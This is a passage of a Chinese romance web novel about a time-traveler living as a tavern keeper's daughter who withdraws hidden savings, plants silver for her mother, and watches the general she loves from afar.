花锁儿刚来时十七岁,本是说亲的好年纪,可她们是外来的,街坊邻里不熟,又是单亲母女,在这陌生地界,想说门好亲事实在不易。 加之朱小婉性子急,嘴巴利,眼光也高,一来二去,就拖到了十九岁。 不过朱小婉脾气虽暴,人却极能干,对女儿也是实打实的好,将母女俩的小日子操持得干净妥帖。 这次穿越,算是穿到了苗悦心坎上。 年轻健康的女孩子,住在衡州城里,没有战火,家境简单和睦,不愁吃穿。 这正是苗悦心心念念想要的生活。 她甚至还能从四方会取出石红玉的私房钱,大把挥霍,尽情奢靡。 按理说,她该很满意,该偷着乐才对。 可苗悦心里空落落的,像被剜走了一块。 燕钊…… 苗悦闭上眼,任由自己的心一直往下沉。 第73章 楼下持续传来桌椅挪动声和洒扫声。 苗悦躺在被窝里, 知道是这身体的母亲朱小婉已经在干活了。 她不好意思再躺下去,起身穿好衣裳,简单洗漱后, 走下了通往一楼的狭窄楼梯。 楼梯在厨房旁边,下了楼梯, 整个花家酒馆一楼的景象便映入眼。 酒馆门脸不大, 是个单开间的铺面, 约莫三四米宽。 店内摆着四张方桌, 每桌配着四条长凳。 最里头靠墙的犄角旮旯, 被朱小婉见缝插针地摆了一张小圆桌, 还在旁边立了一道一人多高的雕花木栅栏。 本是精打细算挤出的位置, 这样一隔,倒显得有几分私密,像个小隔间了。 进门左手边是柜台, 兼做账台。台面擦得发亮, 后面立着个木架, 分格摆着不同价位的酒坛子。柜台后的墙上,挂着几块小木牌, 用墨笔写着招牌菜名。 店里的招牌是肉酱面和炖骨头,是能提前备好的硬菜, 此外便是些卤味凉菜,由朱小婉每日开张前做好。 店里的常驻人手,其实就朱小婉和花锁儿两个。 朱小婉是绝对的主心骨,采买、掌勺、管账、招呼熟客,全是她一人张罗。 花锁儿负责端菜送酒、收拾碗筷、照看酒水、收钱找零等等杂务。 花锁儿正是待嫁的年纪,原本不该做这些抛头露面的工作。 但这一年生意越发难,半个月前, 朱小婉辞掉了开店之初就在的小工,让女儿顶上,改雇了一个附近的邻居老冯头。 老冯头只在中饭和晚饭最忙的时辰过来,帮着扛米袋酒坛,劈柴挑水,杀鱼宰鸡,这些重体力杂活,忙时也帮着上菜、收拾。按天算钱,工钱低廉,最大限度降低了人力开销。 店里盈利,付完老冯头的工钱,剩下的,便是母女二人的嚼用。 她们吃住都在酒馆里。二楼有两间正经卧房,母女各住一间。另有个半间,原是那小工住的,现在就放些杂物。 后门出去,还有个不大的院子,有一口水井和几个腌菜的瓦缸。 朱小婉正把一条条倒扣的长凳搬下来。 朱小婉今年三十七岁,这两年独自盘下店来操持生计,眉宇间添了些疲惫,不过早年家境优渥夫妻恩爱时养出的底子还在,身段依旧匀称,皮肤仍然白皙,眉眼间依稀有年轻时的风韵。 她抬眼瞧见苗悦,手上动作没停,嘴里甩出一句:“哟,今儿太阳打西边出来了,我家大闺女起这么早,离午饭时辰还远着呢,不再回去迷瞪会儿?” 朱小婉长了一张刀子嘴,说话向来带刺,可心里头最疼的也是花锁儿这个闺女,好吃的好用的从来都是紧着她先来。 苗悦挠了挠头,嘿嘿一笑,凑过去问:“娘,还有什么活儿没干?我来搭把手。” 朱小婉抬抬下巴朝厨房努了努:“去,把早饭吃了。然后把门口那块地扫扫,招牌幌子抖落平整了。收拾利索,咱就开门。” 苗悦应了声,撩开隔帘进了厨房。 后厨不大,收拾得挺干净。靠墙是一个老旧的砖砌灶台,烟熏火燎的痕迹深入砖缝。灶口旁搁着个铁皮的煨罐,正用灶膛的余温温着。 苗悦揭开罐盖,里面是半碗稠稠的米粥,粥面上浮着几块肉骨头,旁边小碟里卧着一个剥了壳的白水蛋。 朱小婉把昨天卖剩下的骨头汤和米饭熬成稠粥,又单煮了鸡蛋,凑成一顿美味营养的早餐。 苗悦端起碗,在灶台边的小凳上坐下,慢慢吃着。 这次穿越和前几次都不一样。 以往的穿越,她附身时,接收到的不仅仅是原主过去的记忆,更有这个人一生的完整信息,让她能知当下也知未来。 可这次,花锁儿的记忆简单得近乎苍白,只有过去十九年的零碎片段,以及来衡州城这两年的日常。 至于接下来会怎样,会遇到谁,会有什么样的命运,却是一片空白。 关于燕钊的记忆,更是少之又少。花锁儿不过是以衡州城普通百姓的身份,见过燕钊在街上策马而过的身影,仅此而已。 其实这样也对。 现在的燕钊高高在上,花锁儿只是一个两年前才搬来衡州的普通姑娘,大部分时间都在房中绣花写字。她与燕钊之间,无论身份地位还是时空轨迹都难有交集。 可为什么会这样呢,她不是应该穿成燕钊身边很重要的人物才对吗? 难道是因为现在距离现实的时间节点太近了,记忆世界本身的构筑已经趋于简化?所以形成的人物记忆也就不再完整? 这超出了苗悦的理解范围,恐怕连李晏和秦娘子也未必能说清其中的道理。 算了,想不通就不想了。 不认识……才是更好。 苗悦吃完饭,舀了水,将碗筷洗干净,倒扣在竹架上。 心底那空落落的洞,似乎被这碗温粥和实实在在的家务活,暂时填上了。 她擦干手,走出后厨,拿起靠在门边的笤帚,去门口洒扫。 花家酒馆所在的这条街,离南城花市不远。 两年前朱小婉盘店时,这条街还很僻静,没几家像样的店铺,但她硬是咬牙开了张,成了这片儿的开荒老店之一。 如今两年过去,随着衡州城不断吸纳外来人口,这条街的人气也越来越旺,街道两旁铺面林立,形成了一个新兴商圈。 不过高客流也带来了高竞争和高房租,利润空间越压越低,花家酒馆比以前更忙,赚得反而不如之前多。 苗悦认真清扫着门口的石阶,还没扫两下,就听得街角传来马蹄声。 经过的路人兴奋低语:“是燕将军,燕将军回城了。” 苗悦动作一顿,循着马蹄声方向,抬眼望了过去。 一队骑兵,带着征尘之气,穿过长街。 队伍最前方,正是燕钊。 二十七岁的他,面容轮廓比三年前更为深刻硬朗,褪去了青年将领的锐利张扬,有了不怒自威的沉静。 他控着缰绳,直视前方,多年来执掌权柄淬炼出的气场,已敛于周身,举止间不自觉地弥漫开来。 苗悦握着笤帚,看着那骏马载着它的主人,一步步靠近,又一步步从她身前两米远的地方,径直经过。 距离如此之近,她甚至能看清他披风上的纹路。 燕钊目不斜视,仿佛经过的只是路旁一棵树一块石,没有丝毫停顿,没有半点侧目。 苗悦就那么怔怔地站在原地,目光追随着那队人马,直到他们的背影消失在长街尽头,她仍是一动不动。 这就是回到现实后,她将面临的真实境遇。 真的不能再纠缠了。 她没有自己以为的那么强大,她心里好难受啊。 就用这最后的四个月时间,让自己提前适应,提前放下。 朱小婉不知何时来到苗悦身后,歪头顺着她的视线望过去。 “你就算看成一块望夫石,也成不了燕夫人。” 苗悦吓一跳,转头见是她娘。 朱小婉扯过笤帚,一手戳她额头:“你有闲工夫在这犯花痴,不如想想怎么多赚几个铜板,给自己多攒点嫁妆。” 苗悦捂着脑门抗议:“什么花痴啊,哪有这么说自己亲闺女的。” “你要不是我亲闺女,我才懒得费这些话。”朱小婉哼了一声,“赶紧着,开张!” 店门一开,熟客三两坐下,一天的忙碌便开了头。 “一壶老白干,一碟卤豆干。” “花丫头,来盘酱骨头,面要宽汤。” “哎,来了。” 苗悦应着声,眼耳手脚都不得闲。 眼睛要看着哪桌客人举了手,耳朵要听着娘在后厨的吆喝,手里不是端着面碗,就是拎着酒壶,还要负责结账,人在柜台饭桌后厨来回穿梭。 苗悦初次当跑堂的伙计,人再勤快也难免手忙脚乱,时有出错。 客人要的是最便宜的高粱酒,她给倒了一壶贵了二十文钱的陈酿。客人快喝光了才提醒她倒错了,只好白送人家了。 还有一次踩了客人不小心撒的茶,费了一盘子酱骨头。 朱小婉骂骂咧咧:“毛手毛脚,月底从你嫁妆里扣。” 幸好最忙的时候,都有老冯头在。他力气大,手脚勤快,忙完自己的活,看见有客人起身离开,便上前收拾碗碟。 就这么脚不沾地,足足忙了一个多时辰,午市的人潮才渐渐退去。 三个人终于有时间吃口饭。 还没等休息,晚市又开始了…… 一天下来,苗悦胳膊发酸,后背都是汗,清晨那点风花雪月的惆怅荡然无存。 脚踏实地辛辛苦苦赚钱的感觉真充实啊。 朱小婉给老冯头结了七天的工钱,关门落板,伏在柜台上开始算帐。 苗悦笑眯眯地凑过来,想看看忙碌一天收成几许。 朱小婉的算盘一通噼里啪啦。 “算上打碎的盘子,倒错的陈酿,还行,没亏钱。” 苗悦瞪眼:“不会吧。” 她扯过账本细看。 日收八百文,去掉食材成本、老冯头的工钱、柴火等杂项,余收不到一百文,把打碎的盘子和白送的酒算上…… 果真刚刚不亏。 苗悦哀嚎:“一天累成这样,居然只是不亏。” “这还没算房租呢。”朱小婉轻飘飘地甩出一句,“已经欠了人家半年租子了。你赶紧上手,等你干活利索了,老冯头也不用来了,一天又能省下四十文。” 苗悦惊呆了,这脚踏实地辛辛苦苦赚钱的感觉……也太不值了 。 朱小婉看她那崩溃的样子,哼道:“知道你娘养家不容易了吧。” 苗悦不服,又去看账本:“食材成本这么高,定价这么低,本身就没利润啊。得涨价。” 朱小婉抽回账本,没好气道:“你当我不想涨。这一年街上新开了多少家食肆脚店。咱们这种小本生意,全靠街坊老客帮衬。再涨价,人家扭头就去别家了。你不懂经营,别瞎指挥。” 苗悦是不懂经营,不过她有石红玉的私房垫底。 她琢磨着该怎么把钱不动声色地取出来花用,一时间满脑子都是账目和银子。 果然,一谈钱,什么情啊爱啊都烟消云散了—— 作者有话说:明天周三,休息一天~ 第74章 苗悦想去取钱, 但实在抽不出时间。 花家酒馆在城南,四方会在城西,一来一回少说也要半天。上午去, 耽误午市,下午去, 耽误晚市, 穷忙穷忙的。 就这么拖了两三日。 一次和邻居闲聊, 她得知街口有家车马行, 兼做出租驴马的生意。 苗悦有了主意。租马太贵, 租头驴, 来回也能省下不少脚程。 同时, 她还知道了一个消息。 燕钊每五天就会带着亲兵出城一趟,具体做什么邻居不清楚,但时间很规律。 苗悦算了一下日子。 两天后的早上, 她起得比平时早些, 吃了早饭, 主动拿起扫帚到门口洒扫。 果然,在差不多同样的时辰, 燕钊带着一队人马,从酒馆门前经过。 像苗悦这样驻足观望的行人不在少数, 她混在其中,并不显得突兀。 苗悦看着那队人马走远,默默告诫自己,等回到现实,可千万不能这样。 这天午市过后,店里的客人渐渐少了。 朱小婉在厨房收拾晚市的食材。老冯头劈完柴回了家。 苗悦走到柜台后,拉开抽屉, 抓了一小把散碎铜钱,大约三十来文,塞进袖袋里。 她朝厨房方向看了一眼,拉开店门,走了出去。 她用一顶垂着细纱的帷帽遮住脸,到街口租了一头灰驴,往城西方向去。 穿过几条街巷,按着记忆中的路线,苗悦来到四方会所在的位置,可门楣上挂的却是一块“陈记绸缎”的簇新招牌。 她向铺子掌柜打听。掌柜打量了她一眼,指了指河对面:“过了如意桥,往右一拐,最大的那间就是,挂着新匾,好找得很。” 苗悦道了谢,转身上驴。 过了桥,果然见右手边新起了一排铺面,其中一间尤为轩敞,门面是新漆的,黑底匾额上三个烫金的大字很是醒目。 四方会看中衡州城未来发展,准备把这里扩建成一个中心据点,如今门脸大了,进出的客人也多了不少。 苗悦在树荫下拴好驴,整了整帷帽,走了进去。 她运气不错。因新据点刚开张,四方会副会长司徒信恰在此地坐镇,省了她辗转寻人的麻烦。 只是司徒信身份不低,苗悦说要见他,前头接待的伙计态度恭敬,言词委婉,再三拒绝,只问有何事务可由他代为通传。 苗悦无法,只得压低声音,对那伙计道:“你就告诉他,小王八的主人来取钱了。” 伙计微怔,强自忍笑,转身去了后堂。 不多时,司徒信走了出来。 他身形明显丰腴了些,当年那身不羁的江湖气几乎褪尽,眼中精光更盛几分,活脱脱一个成功的大商号管事。 他目光在苗悦身上扫过,见是个十八九岁的年轻姑娘,一时掩不住好奇。 他拱手道:“这位姑娘,后面有清静些的雅间,方便说话。” 苗悦要取的钱不多,足够她四个月花用就行,只想速战速决。 她摇头道:“我只取二百两银子。” 她一边说,一边伸出食指,就着半盏残茶,在红木桌面上飞快地画了一个线条简单的小王八。 画完,指尖在图案上不轻不重地点了一下,随即收回手。 司徒信看向小王八的右下脚,有五个脚趾。 他抬头,深深看了苗悦一眼:“除了这画,姑娘还有其它信物吗?” 苗悦倾身过去,低声说了几句密语。 司徒信又看她一眼,没再多问,吩咐伙计去取银子。 他请苗悦坐到角落的椅子上稍候,自己也坐到她对面,亲自为她倒了杯热茶。 “不知姑娘与这画的主人……”他点了点桌上的小王八,“是什么关系?” 苗悦道:“我只是受人之托,前来取钱。其它的事情,不方便说。” 司徒信道:“我没有别的意思,主要是有人向我打听这画的主人可曾在四方会留过什么话,或有什么交代。我看他寻人心切,便想替他多留意一二。” 苗悦抿唇,道:“我记得,四方会一向最重信誉,为客户保密乃是根本。” 司徒信道:“是我冒昧了。姑娘放心,四方会的规矩,在下半分不敢逾越。” 苗悦道:“那就好,我不过是替人跑腿取钱的,旁的事,一概不知也不管。” 伙计端着个盒子出来。司徒信示意苗悦清点。 苗悦打开看了一眼,四个沉甸甸的大银锭。 她拿出一个,递给伙计:“麻烦帮我换成碎银和铜板。” 伙计依言去办,很快拿了过来。 苗悦道了声“有劳”,便提着盒子,出了四方会。 司徒信将她送出门,看着她牵着驴往河边走去。 这姑娘身形娇巧,可以说有些圆润,个子也不算高,和记忆中石红玉窈窕利落的身形,实在差别很大,声音也完全不同,不可能是一个人。 想到这,司徒信不由笑自己犯傻了。 石红玉已经死了多年,倘若真活着,今年也该有二十六七了,怎么可能是这样一个看起来不过十八九岁的姑娘。 他摇摇头,转身准备回后堂。可脚步一顿,又忍不住回头看了一眼。 两年前,昭宁公主离世不久,祝家倒台,衡州城中丝绸生意断崖式下跌。 燕钊请四方会出面周旋,邀各路丝绸商入驻衡州。 司徒信受命前来,与燕钊有过数次会面。 正是这几次会面,燕钊展现出的施政手腕与远见,给司徒信留下了极深印象。 燕钊并非只着眼于一时军功或敛财,而是真心想在衡州建立起一套稳定可发展的商业环境。他提出的种种举措,都直指商贾最关心的痛点。 更让司徒信看重的是燕钊的诚信。答应的事,必会落实,提出的规划,皆有后续。与这样的人合作,风险可控,前景可期。 司徒信亲自撰写报告呈交总会,力陈衡州的巨大潜力,提议投入更多资源,将其建设为联通南北商路的重要中心据点。 不过有一点奇怪的地方,会面其间,燕钊不止一次向他旁敲侧击,打听石红玉当年频繁出入四方会,所为何事。 “……她真的什么都没留下吗?” “……她可有什么特殊安排?” “司徒会长,若她……我是说如果,她还有事未了,会通过贵会联络吗?” 燕钊那语气,那眼神,绝不是对一个已故红颜的缅怀,他更像是在找线索,找她可能还在世的证据。 四方会的规矩,便是天塌下来,也绝不泄露客户隐私,这是立身之本。 司徒信守口如瓶,心里想的却是,如果石红玉没死,她在四方会存下巨额财富,怎么会不闻不问。 果然,这么大一笔钱,任谁都不会不理的。 今日这位姑娘与石红玉必定有着极深的关联…… 这个念头让司徒信吓了一跳,立刻摇头清醒。 四方会铁律如山,他身为副会长,更得以身作则,绝不能凭借四方会的资源和渠道, 去暗中打探客户的隐私和来历。 他最后望了一眼已空荡荡的河岸,脸上恢复了生意人的温和与精明,迈步走回轩敞气派的新铺子。 苗悦没有立刻回家。 她牵着租来的驴,沿着河岸,慢慢地走。 河面比记忆中似乎窄了些,水更清澈了。 走了约莫一盏茶的工夫,那个馄饨摊竟然还在。 小小的棚子,旧旧的幡子,连摆放桌凳的方位都没变。还是那位头发花白的老丈,佝偻着背。 苗悦心里小小地雀跃了一下。 她系好驴,走到摊前,要了一碗馄饨,在靠边的矮凳上坐下,托腮望着将军府方向。 燕钊在干嘛呢?一定是在书房吧。 昭宁公主院子里的温泉池还在不在?一定还在的。 一碗清汤馄饨很快端了上来。 苗悦拿起调羹,舀起一个,放进嘴里。味道似乎有些不同了,又或者是她的味觉变了。 她吃得很慢,滚热的汤渐渐变温,最后彻底凉透。 她记得所有事。记得馄饨摊的位置,记得当年坐在这里的心情,记得他眉梢眼角的每一寸细节。 可没人记得她。 所有人都不认识她。 原来,被整个世界遗忘,是这样的滋味。 执行任务前,她怎么就没想到这一层呢?还天真地以为,最难的是完成任务。 不是饭点儿,摊子上只有她一个客人。 老丈忙完手里的活,在炉子旁的小凳上坐下歇息,目光不时落在她身上,见她许久不动,只盯着凉透的碗发呆,终于还是起身走了过来。 “姑娘,汤凉了,给你再热热?” 苗悦摇摇头,摸出好几枚铜钱,放在桌上。 老丈忙道:“不用这么多。” 苗悦没去拿回多给的钱,只道:“我和弟弟刚来衡州,不知道做点什么营生。老丈若是有空,能不能指点几句?” 老丈看了看她,又看了看桌上那几枚铜钱。 摊上没别的客人,对面坐着个年轻姑娘,独自带着弟弟,听着就不容易。 他心一软,在苗悦对面的矮凳上坐了下来。 第75章 苗悦起头:“您是衡州本地人?” 老丈朝天指指, 笑道:“祖上三代都是本地人。” “您这摊子摆了有些年头了吧?生意还好做吗?” 老丈道:“年头是久了,打我爹那辈就在这儿。前些年兵荒马乱的,人都跑光了, 没有生意,停了好一阵。这两年才算又安稳下来, 人慢慢回来了, 生意也才好做些。” 苗悦道:“衡州城比我以为的要热闹呢, 南边铺子也开了不少。” 老丈打开了话匣子:“人是多了, 逃难来的, 做生意的, 找活路的, 南来北往,房子都紧俏了,我这摊子上, 常能见到生面孔。” 苗悦道:“现在治安怎么样?” 老丈道:“那可是好多了, 自从燕将军坐镇咱们衡州, 把那些闹事的收保护费的地痞都收拾了,街面清静多了。以前我最怕那些人来捣乱, 现在起码能不怕了。” 苗悦又问:“依您看,哪些小生意好做点?” 老丈笑道:“小饭铺, 脚店,小客栈,只要东西实在,价钱公道,人勤快,总能挣口饭吃。做生意嘛,得看家底, 小生意小生意,也就是赚小钱。来钱快,还得是大买卖。祝家倒台时,借机来衡州做丝绸生意的,现在都扎下脚了。” 苗悦一怔:“祝家倒台?” 老丈看她一眼,恍然道:“姑娘刚来不知道。祝家可是了不得,以前是咱们这儿的巨富。衡州城整个丝绸生意都是他家的,盐铁茶船全沾边。城主换了一茬又一茬,祝家始终是站得最稳最有钱的那个。” 他左右看看,压低声音,神神秘秘道:“直到大前年的夏祈节,出了那桩天大的事。祝家私下里安排人把昭宁公主给害了,还想嫁祸到燕将军头上。昭宁公主可是皇上的闺女。燕将军与公主成婚后,那是出了名的恩爱。燕将军眼睁睁看着公主死在自己跟前,那能饶得了。” 昭宁不是皇上的闺女,但普通百姓家不懂皇室这些弯弯绕绕,只听得公主两字,就觉得是皇上的女儿。 苗悦追问:“他做了什么?” 老丈伸出三个手指,敬畏又唏嘘:“三个月不到,祝家从上到下,一个没留。连那些个到处跑生意的管事心腹,都跟着一块儿倒了霉。你来得晚也好,没见着,那场面吓死人。” 他摆摆手,挥散那段血腥记忆:“传了上百年的夏祈节也停了,要我看,皇上发怒也不过如此了。那之后啊,人心惶惶了好一阵。不过现在好了,祝家倒了,他手里那些生意路子就空出来了。” 老丈语重心长地劝她:“姑娘啊,大买卖有大风险,咱们小老百姓,本钱小人脉少,就做些看得见摸得着的稳当营生。” 苗悦听着老丈的话,心头先是掠过一丝快意。燕钊终究是为昭宁公主出了这口恶气。 可这念头刚起,就被紧随而来的寒意压了下去。 祝家满门覆灭,连店铺管事都未能幸免,这般狠绝的手段,难免让人脊背发凉。 苗悦忽然发现,无论她穿越成什么身份,燕钊在她面前总是顺从忍耐,甚至有些好欺负。 这种假象,险些让她忘了“活阎王”的名号,那可是老百姓们亲封的。 祝家的下场就在明晃晃地提醒她,记忆世界里的燕钊只是看起来变得温和了。 苗悦心里咯噔一下。 祝家因为杀了昭宁公主落到这个下场,那如果燕钊发现,整个记忆世界都是假的,自己留在他身边,只是为了完成任务,为了让他忠君爱国…… 老丈看她一直不出声,以为她吓到了,温言道:“你也不用怕,燕将军能让衡州城太平下来,让咱们这些小老百姓能踏实过日子,那就是好的。姑娘你要是想安家,衡州现在是个能落脚的地方,只要肯下力气,饿不着。” 苗悦谢过老丈,又看了眼将军府方向,骑上驴走了。 等她和阿芦进了城,安家要安在城南,绝对不来城西。 苗悦先去车马行还了驴,结清余钱,再提着盒子回家。 已经到了上客的时间,朱小婉的声音从前头铺子里传出来:“……这死丫头,野哪儿去了,天都要黑了还不着家!看我回来不……” 苗悦缩了缩脖子,贴着墙根,溜到酒馆后院的矮墙下,仗着花锁儿身体强健翻了进去,将盒子藏在酱菜缸之间的空隙里,又从厨房后门溜回,做出一副刚从外面回来的样子,扬声喊道:“娘,我回来了!” 朱小婉正给一桌客人上酒,闻声回过头,碍着客人的面,只剜了她一眼。 “干活啊,杵着当门神呢。” 苗悦应声,快步走过去,接过她手里的酒。 晚市便在这忙乱中开了头,端菜,送酒,收拾碗筷……苗悦趁机往抽屉里放了一把新换来的铜板,不但补上了之前拿走的数,还有富余。 天色黑透,送走最后一拨客人,关上门板,照例是洒扫、归置、盘账。 一切收拾停当,母女二人才拖着疲惫的步子上了楼。 朱小婉边走边问:“说吧,下晌跑哪儿去了?” 苗悦早想好了说辞,不好意思道:“就去花市那边随便逛了逛,看见新奇玩意,忘了时辰。” 朱小婉眉头一拧:“兜里又没钱,有什么好逛的。净瞎耽误工夫。赶紧洗洗睡去。” 各自回房。 过了半个时辰,朱小婉房中蜡烛熄灭,又等了会儿,苗悦悄悄起身。 没点灯,借着月光,摸黑下了楼,来到后院。 黑行是做贼的基本修养。 她从酱菜缸夹缝中摸出盒子,快步走回厨房,摸索着找到火镰,点燃半截蜡烛头。 她打开盒子,拿出两个五十两的银锭,掂了掂,蹲到灶台前。 老式砖砌的灶台,用了许多年,有些砖块已经松动。 她在靠近地面的地方摸索,果然找到一块不太牢 靠的青砖,用手指抠进砖缝,稍微用力,其中一块便被撬得活动了,再将砖块完全抽出来,露出一个空洞。 她把两个银锭塞进洞里,再把抽出来的砖放回去,虚虚嵌着,手一碰就能感觉到松动。 做完这些,苗悦从柴堆里抓了几把草屑,与灶灰混在一起,堵在了烟道口附近。 明早朱小婉生火,烟就会倒灌出来。她肯定会低头检查,清理堵塞物时,就会碰到那块松动的砖。 她会试图将砖推回去,但银锭在后面顶着,肯定推不动,不得不将砖块取出查看…… 苗悦在脑中又将这个过程仔细过了一遍,觉得没什么纰漏。 明天肯定会听到朱小婉的尖叫声。 有了这些银子,就能雇个小工,专门负责端菜、收拾碗筷、擦桌扫地这些杂活。 最好找个手脚麻利的男孩,家里就两个女人,多少有点不安全。 如此,自己就能清闲很多。 想到这里,苗悦心里舒坦不少。 她吹熄蜡烛,抱着装有五十两银锭和碎银的盒子,摸黑回了房。 两百两,一半给朱小婉,一半她自己留着。 第二天,苗悦睡到自然醒。窗外已大亮。她侧耳听了听,楼下没有预想的骚动。 难道没发现? 她赶紧披上外衣,趿拉着鞋快步下楼。 朱小婉正在灶台前忙碌,锅里炖着酱骨头,咕嘟咕嘟地冒着热气。 苗悦绕到灶台后面,低头看向靠近地面的地方,那里已经被清理过,砖块表面还有擦过的湿痕。 她直起身,目光在厨房里扫了一圈,最后在灶台角落一个不显眼的位置,看到了两个银元宝,就那么随意地堆在那里。 苗悦瞪大眼睛,走过去拿起一个,转向朱小婉:“娘,这是什么?” 朱小婉头也没抬:“银子,不认识?” “不是……哪来的?” 朱小婉用刀尖朝灶台底下虚指了一下:“就那儿,砖缝里抠出来的。” 苗悦愣住了,她没料到朱小婉会如此平静。 她凑近些,难以置信:“娘,您可真沉得住气,这么多银子,都不兴奋一下?” 朱小婉瞥了她一眼:“有什么可兴奋的,又不是我们的。” 苗悦又是一怔:“不是我们的?那……那是谁的?” “还用问吗。”朱小婉拿起水瓢舀水冲了冲刀,“你看这银子,成色新,放进去的年头肯定不长。这房子租给咱们之前,空了很久。肯定是房东的,慌慌张张藏进去,后来忘了。” 她放下刀,在围裙上擦了擦手:“正好,你看着锅。我这就给人家送回去,别弄丢了。” 她说完,两手一抓,薅过那两个银元宝,径直出了门。 那背影,正直得发光。 第76章 苗悦眼睁睁看着朱小婉抓着银子出了门。过了约莫半个时辰, 她又抓着银子回来了。 不过银锭只剩下一个。 “杨公子说不是他的。”朱小婉把银子放在桌上,“他说他接手这房子时,前头经了好几道手, 乱得很,说不清是谁留下的, 让我自己处理。我给他留下五十两, 把欠的租子还上了。” 苗悦在脑子里搜索关于“杨公子”的记忆。 从前店里雇着小工, 花锁儿不用招呼客人, 最多在后厨打打下手, 帐目的事更是碰都不碰, 在她的记忆里, 有“房东”这个名词,但面目十分模糊。 但不管怎么说…… “这个杨公子人不错啊。”苗悦评价。 朱小婉脸上带出点笑,软绵绵地来了句:“那是。我刚开店时, 他常来照顾生意, 就坐那个角落。喏, 那扇屏风,就是我特意给他立的, 他喜欢清静。再后来我欠了他租子,他来吃饭, 我不好意思收钱,他大概觉着别扭,就不大来了。可也从不上门催租,总说等我宽裕了再说。” 苗悦看着朱小婉脸上不寻常的红晕,顿时明白了,笑眯眯地说:“他怎么单就对你好呀,难道说……” 朱小婉拢了拢头发, 扭捏了一下:“我也不是没想过,真要能成,我就是正经的老板娘,省了房租了。我也不怕照顾人,就是……我们年纪差得有点多呢……” 苗悦就喜欢朱小婉大大方方的劲,直问:“差多少?” 朱小婉“啧”了声:“九岁。” 苗悦道:“我还以为差多少呢,九岁不是挺合适的。那他孩子多大了?” 朱小婉板起脸:“什么孩子,人家杨公子还不到三十岁,尚未婚配。” 苗悦吃惊:“你比他大九岁啊。” 朱小婉瞪眼。 苗悦赶紧改口:“九岁好呀,女大三抱金砖。他要是娶了你,等于抱了三块金砖。” 朱小婉被她逗笑了,指向角落里那扇屏风:“那个位置是专门给杨公子留的,他不喜欢跟生人离得太近。” 苗悦“哦”了声,好奇道:“杨公子这么好,怎么这把年纪了还没娶媳妇?不是有什么毛病吧。” 朱小婉含糊不清地说:“也没什么大毛病。你一姑娘家,少打听男人的事。去写个牌子,招小工,不能老让你在店里晃来晃去的。” “还不是你喜欢我才顺着你说的。”苗悦嘀咕着,依言写好招工牌子,挂到外面。 牌子挂了出去,一连几日,问询者寥寥。 这也难怪。衡州城正是百业待兴蒸蒸日上的光景。 整条街上,生意比花家酒馆红火兴旺的铺面不知凡几。但凡有点眼色,想寻个安稳前程的帮工,自然都先往那人来人往的大店家去投问。 朱小婉还十分挑剔。 男的不要,她说家里就两个女人,招个男工不放心。年纪太轻身形纤细的女孩也不要,说力气小,干不了重活。 挑来选去,只有那些四十岁上下的妇人最合适,可这个年纪的妇人,大多要在家照看孙子,抽不出整天的工夫。 招不上人来,苗悦只好继续当她的跑堂。 这天傍晚,衡州城最大的乐班排了套新曲子,班主为了造势,租了画舫沿河巡游。 这对寻常百姓来说,是不花钱的风雅事,吸引了大半闲人围观,沿河的饭馆酒肆生意爆火。 相应的,居民区里的生意就淡了。 苗悦来了月事,肚子一阵阵疼。 朱小婉见客人不多,便熬了姜糖水,让她端上楼休息,自己在楼下应付着。 苗悦喝过糖水,抱着暖水袋,在床上眯了一小觉,再醒来果然舒服多了。 她原想下去帮忙,探头一看,楼下只有一桌客人,也就作罢。 独自在房中找了本闲书打发时间,忽然听到朱小婉惊喜的声音。 “杨公子,你来啦?”顿了一下,她声音更热情了些,“哎呦,真是贵客,快里面请。” 苗悦好奇心大盛,飞快披上外衣,轻手轻脚地走下楼,想看看这位杨公子究竟什么模样。 她刚走到楼梯口,探出半个脑袋,朱小婉正好从屏风后转出来,一眼就瞧见了她。 朱小婉走过来,小声地骂:“贼头贼脑的,像什么样子。” 苗悦说:“我来帮你打下手。” 朱小婉瞪她:“躺了一下午,这会儿倒勤快了。头发不梳,衣服也不好好穿,让人看见了还要不要嫁人了。” 不由分说又把苗悦往楼上推。 苗悦抻着脖子使劲看,隔着屏风只恍惚看出青色衣摆。 她撇撇嘴,遗憾地上了楼。 屏风后。 燕钊将长刀放在桌边,目光透过木栅栏,看着朱小婉将那探头探脑的姑娘推回房,笑了一下,低声道:“这母女俩,倒是有趣。” 杨溪摸索着给他倒了杯酒,道:“老板娘人不错。一个女人,拉扯个孩子,本来就不容易。前几日她捡到一百两银子,以为是我的,立刻就给我送来了,一点没含糊。” 燕钊端起酒杯,道:“你也该正经成个家了。看你那住处,冷锅冷灶,一点热乎气都没有。” 杨溪不客气地顶了回去:“ 你自己都没成家,倒有脸来说我。招呼也不打一个,酒也不带一壶,突然跑来找我喝酒,还得我找地方请你。” 燕钊将杯中酒饮尽:“杜言非要拉着我听什么新曲子,无聊得紧。我想着离你住处不远,便来找你说说话。” 杨溪道:“昭宁公主都过去两年多了,你也该放下了。” 燕钊道:“有些事,说来话长,不是故意瞒你,只是懒得提了。” 杨溪没再追问,举杯与他碰了一下,两人各自饮尽。 燕钊拿起酒壶,将两个杯子再次斟满。 “我听说,这条街的铺面,有好几间都收不上租子?” 杨溪笑了笑,神情轻松:“是有几户。不过不是你想的那样。有些人家不是真的给不上,我心里有数。只是这钱于我,多一笔少一笔,没什么分别,我又花不完。他们多是拖家带口的,日子紧巴,那点租金留在他们手里,比攥在我手里更有用些。” 燕钊道:“不是买卖不好做就行。” 杨溪道:“现在人多了,做买卖确实不容易了,不像前两年,做点什么都能赚钱,现在得花心思。” 燕钊道:“人太多太杂,确实不好管。长久下去,容易生乱。我想提高入城门槛,先从入城捐开始。” 杨溪摆摆手:“这些事情,你同杜先生商议便是,我可不懂,出不了什么主意。咱们两个,只管喝酒。” 燕钊笑着举杯:“好,喝酒。” 朱小婉站在柜台后,假意对账,实则留意着屏风后的动静。 她默默记下燕钊喜欢的酒味以及偏好的菜色,估算着他的酒量。 临近打烊时分,最后一桌客人也结账走了。 朱小婉不急,也不催,只将手里的账本翻来覆去地看,竖着耳朵听他们说什么,却听不清。 又过了一会儿,屏风后传来椅子挪动的声音。 朱小婉立刻放下账本,笑着迎了上去,正听到杨溪对燕钊说:“……几步路的事,我自己就能回。这要还用你送,我往后还怎么一个人过活。” 朱小婉立刻接话:“燕将军,您坐着。我送杨公子回去就行。” 她说着,上前挽住了杨溪胳膊,顺手将挡路的凳子挪开。 燕钊本已站起身,看到这情景,先是一怔,随即淡笑,又坐了回去,朝朱小婉略一颔首。 “有劳了。” 